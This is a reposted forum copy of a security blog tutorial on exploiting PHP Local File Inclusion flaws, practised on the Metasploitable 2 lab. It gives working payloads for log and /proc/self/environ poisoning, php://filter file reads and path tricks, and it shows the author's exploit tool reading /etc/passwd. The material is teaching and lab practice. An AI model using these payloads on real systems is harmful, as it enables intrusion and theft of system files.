Nytro Posted April 19, 2014 Report Posted April 19, 2014 [h=3]LFI Exploitation : Basics, code execution and information leak [/h]Hello,Today, I played a bit with Metasploitable 2.It is really easy to root, so that's not the interest of this blog post.Anyhow, I played a bit around and I ended up coding a basic LFI exploit tool.So yet another post on LFI exploitation ...[h=2]So what is LFI?[/h]LFI stands for Local File Inclusion.It is a vulnerability that allows you to include local files.Many people do think that it's not really dangerous as it only includes LOCAL files.Unfortunately (depending on which side of the barrier you are ...), it is false, you can execute code through a LFI.[h=2]So, how do you exploit it?[/h]By including local files.Yes, local files .These are the well-known techniques for LFI:- apache logs- /proc/self/environ- php://input- NULL Byte Injection- path truncation- directory traversal- PHP filters- image inclusion with PHP code[h=3]Apache logs[/h]These were publicly accessible in old distros.Now, these are only readable by proper users.You'd basically inject PHP Code through the GET requests:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]http://victim/<?php system ('id'); ?>[/TD][/TR][/TABLE]This would leave PHP code in the logs.Then executing the PHP code is as simple as:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]http://victim/?page=/var/log/apache2/access_log[/TD][/TR][/TABLE]Code execution if there is no proper rights on the logs (some old systems remain).[h=3]/proc/self/environ[/h]This file is interesting as it stores stuffs like your USER-AGENT and whatsoever.So, if you change your User-Agent to?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]<?php system ('id'); ?>[/TD][/TR][/TABLE]and use this:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]http://victim/?page=/proc/self/environ[/TD][/TR][/TABLE]Yes, code execution![h=3]php://input[/h]Ok, this one execute PHP Code included into the POST DATA.[h=3]NULL byte injection and path truncation[/h]This one is pretty neat.Say you have the following code:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]<?php include ($_GET['page'] . '.php'); ?>[/TD][/TR][/TABLE]Well, you can get rid of the '.php' extension using that trick.Just append or looooooots of . or /., this will get normalized and voila no more extension.NULL Byte poisoning doesn't work for PHP >= 5.3.4 as it's been fixed.Reverse path truncation is mostly the same, just the ../ is before the file name.[h=3]PHP filters[/h]This vulnerability is mainly for leaking files (.php and others).This doesn't work if you have a prefix such as here:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]<?php include ($prefix + $_GET['page'] + '.php'); ?>[/TD][/TR][/TABLE]You exploit it using this request for instance:?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]http://victim/?page=php://filter/read=convert.base64-encode/resource=index.php[/TD][/TR][/TABLE]As you guessed, the PHP filter is?[TABLE][TR][TD=class: gutter]1[/TD][TD=class: code]php://filter/read=convert.base64-encode/resource=[/TD][/TR][/TABLE].[h=3]image with PHP code[/h]This one is about appending PHP code in an image.Using the image in the LFI allows you to inject PHP code : the PHP interpreter interprets anything as code as long as it's in <?php ?>.If you have a non exploitable LFI with /proc/self/environ or apaches logs and you don't have an extension concatenation, this can allow you to exploit it if you are able to upload images.Let's say you have PHPBB and PhpLdapAdmin 1.1.0.5.Well, you can upload an image using PHPBB then exploit the LFI in PhpLdapAdmin using the directory traversal trick => code execution.[h=2]Exploit[/h]I wrote a basic LFI exploiter that uses PHP filter or /proc/self/environ tricks.You can get it at LFI exploit tool .The code isn't clean and it needs tons of improvement before being really a usable tool. I plan on improving it on a need to basis. The cookie functionality is not implemented yet, it is just a placeholder for now.You can test it on multilidae on Metasploitable 2. I haven't tested it somewhere else yet.Example of utilisation (this is on metasploitable 2):$ ./exploit-lfi.py -husage: exploit-lfi.py [-h] --url URL [--action ACTION] --option OPTION [--replace REPLACE] [--cookie COOKIE]Exploit LFIoptional arguments: -h, --help show this help message and exit --url URL, -u URL URL to attack --action ACTION, -a ACTION exec or read (default) --option OPTION, -o OPTION Action argument --replace REPLACE, -r REPLACE string to replace --cookie COOKIE, -c COOKIE Cookie$ ./exploit-lfi.py -u 'http://192.168.56.107/mutillidae/index.php?page=show-log.php' -o 'cat /etc/passwd'[+] Checking vulnerabilityTest url : http://192.168.56.107/mutillidae/index.php?page=whatever&Is vulnerable with param page![+] Found vulnerability, new URL : http://192.168.56.107/mutillidae/index.php?page=PAYLOAD&[+] Searching for root pathroot : ../../../[+] New URL : http://192.168.56.107/mutillidae/index.php?page=../../../PAYLOAD&[+] Testing : {'path': '/proc/self/environ', 'type': 'header'} http://192.168.56.107/mutillidae/index.php?page=../../..//proc/self/environ&root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shdhcp:x:101:102::/nonexistent:/bin/falsesyslog:x:102:103::/home/syslog:/bin/falseklog:x:103:104::/home/klog:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologinmsfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bashbind:x:105:113::/var/cache/bind:/bin/falsepostfix:x:106:115::/var/spool/postfix:/bin/falseftp:x:107:65534::/home/ftp:/bin/falsepostgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashmysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/falsetomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/falsedistccd:x:111:65534::/:/bin/falseuser:x:1001:1001:just a user,111,,:/home/user:/bin/bashservice:x:1002:1002:,,,:/home/service:/bin/bashtelnetd:x:112:120::/nonexistent:/bin/falseproftpd:x:113:65534::/var/run/proftpd:/bin/falsestatd:x:114:65534::/var/lib/nfs:/bin/falsesnmp:x:115:65534::/var/lib/snmp:/bin/false[h=2]Conclusion[/h]As you can see in this introduction, code execution is quite possible with a LFI.These aren't only information leaks vulnerabilities.That's all for today.Cheers,m_101Updates- 18/12/2013 : the LFI exploit tool I wrote has been moved to its own repository : https://github.com/m101/lfipwn/ and cookie functionality does work.[h=2]References[/h]- Basics on file inclusion : File Inclusion - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools- PhpLdapAdmin LFI : phpldapadmin Local File Inclusion- path truncation part 1 : ush.it - a beautiful place- path truncation part 2 : ush.it - a beautiful placeSursa: Binary world for binary people : LFI Exploitation : Basics, code execution and information leak Quote
